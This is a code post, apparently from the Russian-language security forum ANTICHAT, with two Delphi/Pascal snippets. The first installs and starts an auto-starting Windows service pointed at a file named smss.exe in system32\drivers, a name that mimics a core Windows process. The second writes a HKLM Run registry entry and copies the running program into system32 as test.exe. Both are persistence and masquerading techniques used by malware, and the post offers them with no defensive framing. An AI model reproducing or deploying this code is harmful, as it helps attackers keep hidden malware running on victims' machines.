ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Program service;
const
  ServiceName                    = 'Имя службы';
  ServiceDisp                    = 'Выводимое имя';
  Path                           = '\system32\drivers\smss.exe'; //путь до нужного тебе файла
  user32                         = 'user32.dll';
  kernel32                       = 'kernel32.dll';
  advapi32                       = 'advapi32.dll';
  SERVICE_RUNNING                = $4;
  SERVICE_WIN32_OWN_PROCESS      = $10;
  SERVICE_WIN32_SHARE_PROCESS    = $20;
  SERVICE_WIN32                  = (SERVICE_WIN32_OWN_PROCESS or
                                   SERVICE_WIN32_SHARE_PROCESS);
  SERVICE_START_PENDING          = $2;
  SC_MANAGER_CREATE_SERVICE      = $2;
  STANDARD_RIGHTS_REQUIRED       = $F0000;
  SERVICE_AUTO_START             = $2;
  SERVICE_ERROR_NORMAL           = $1;
  SC_MANAGER_CONNECT             = $1;
  SERVICE_START                  = $10;
  SERVICE_QUERY_STATUS           = $4;
  SERVICE_INTERACTIVE_PROCESS    = $100;
  INFINITE                       = INTEGER($FFFFFFFF);

type
  HINST   = INTEGER;
  THandle = INTEGER;
  UINT    = INTEGER;
  DWORD   = INTEGER;
  LPDWORD =^INTEGER;
  BOOL    = BOOLEAN;

  SERVICE_TABLE_ENTRYA = record
    lpServiceName : PChar;
    lpServiceProc : Pointer;
  end;

  SERVICE_STATUS = record
    dwServiceType             : DWORD;
    dwCurrentState            : DWORD;
    dwControlsAccepted        : DWORD;
    dwWin32ExitCode           : DWORD;
    dwServiceSpecificExitCode : DWORD;
    dwCheckPoint              : DWORD;
    dwWaitHint                : DWORD;
  end;


var
  DispatchTable       : SERVICE_TABLE_ENTRYA;
  ServiceStatus       : SERVICE_STATUS;
  ServiceStatusHandle : integer;

function DefWindowProc(hWnd: Integer; Msg: UINT; wParam: Integer; lParam: Integer): Integer; stdcall; external user32 name 'DefWindowProcA';
function SetServiceStatus(hServiceStatus: integer; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'SetServiceStatus';
function RegisterServiceCtrlHandler(lpServiceName: PChar; lpHandlerProc: pointer): integer; stdcall;external advapi32 name 'RegisterServiceCtrlHandlerA';
function OpenSCManager(lpMachineName, lpDatabaseName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenSCManagerA';
function CreateService(hSCManager: INTEGER; lpServiceName, lpDisplayName : PChar;  dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl: DWORD;  lpBinaryPathName, lpLoadOrderGroup: PChar; lpdwTagId: LPDWORD; lpDependencies,  lpServiceStartName, lpPassword: PChar): INTEGER; stdcall; external advapi32 name 'CreateServiceA';
function CloseServiceHandle(hSCObject: INTEGER): BOOL; stdcall; external advapi32 name 'CloseServiceHandle';
function OpenService(hSCManager: INTEGER; lpServiceName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenServiceA';
function StartService(hService: INTEGER; dwNumServiceArgs: INTEGER; var lpServiceArgVectors: PChar): BOOL; stdcall; external advapi32 name 'StartServiceA';
function QueryServiceStatus(hService: INTEGER; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'QueryServiceStatus';
function StartServiceCtrlDispatcher(var lpServiceStartTable: SERVICE_TABLE_ENTRYA): BOOL; stdcall; external advapi32 name 'StartServiceCtrlDispatcherA';
procedure Sleep(dwMilliseconds: DWORD); stdcall; external kernel32 name 'Sleep';

procedure ServiceCtrlHandler; stdcall;
begin
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

procedure MainServiceThread; stdcall;
begin
  sleep(INFINITE);
end;

procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
  thID : integer;
begin
  ServiceStatus.dwServiceType := SERVICE_WIN32;
  ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted := 0;
  ServiceStatus.dwWin32ExitCode := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
  ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

function CreateNTService(ExecutablePath, ServiceName: PChar): boolean;
var
  hNewService : INTEGER;
       hSCMgr : INTEGER;
   FuncRetVal : Boolean;
begin
  FuncRetVal := False;
  hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if (hSCMgr <> 0) then
  begin
    hNewService := CreateService(hSCMgr, ServiceName, ServiceDisp,
      STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
      SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
      ExecutablePath, nil, nil, nil, nil, nil);
    CloseServiceHandle(hSCMgr);
    if (hNewService <> 0) then
      FuncRetVal := true
    else
      FuncRetVal := false;
  end;
  CreateNTService := FuncRetVal;
end;

function ServiceStart(aServiceName: PChar ): boolean;
var
     h_manager : INTEGER;
         h_svc : INTEGER;
    svc_status : SERVICE_STATUS;
          Temp : PChar;
  dwCheckPoint : DWord;
begin
  svc_status.dwCurrentState := 1;
  h_manager := OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager, aServiceName,
    SERVICE_START or SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      temp := nil;
      if (StartService(h_svc,0,temp)) then
        if (QueryServiceStatus(h_svc,svc_status)) then
        begin
          while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;
            Sleep(svc_status.dwWaitHint);
            if (not QueryServiceStatus(h_svc,svc_status)) then  break;
            if (svc_status.dwCheckPoint < dwCheckPoint) then  break;
          end;
        end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;
         begin
      CreateNTService(path, ServiceName);
      ServiceStart(ServiceName);
      exit;
  DispatchTable.lpServiceName := ServiceName;
  DispatchTable.lpServiceProc := @ServiceProc;
  StartServiceCtrlDispatcher(DispatchTable);
end.

procedure TForm3.Button3Click(Sender: TObject);
Var
Reg:Tregistry; // Создание переменной Reg
begin
Reg:=TRegistry.create; // Инициализирование этой же переменной
REG.RootKey:=HKEY_LOCAL_MACHINE;
REG.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
REG.WriteString('test','%systemroot%\system32\test.exe');
REG.CloseKey;
Reg.Destroy;
CopyFile(pchar(paramstr(0)), pchar('c:\windows\system32\test.exe'),true);
end;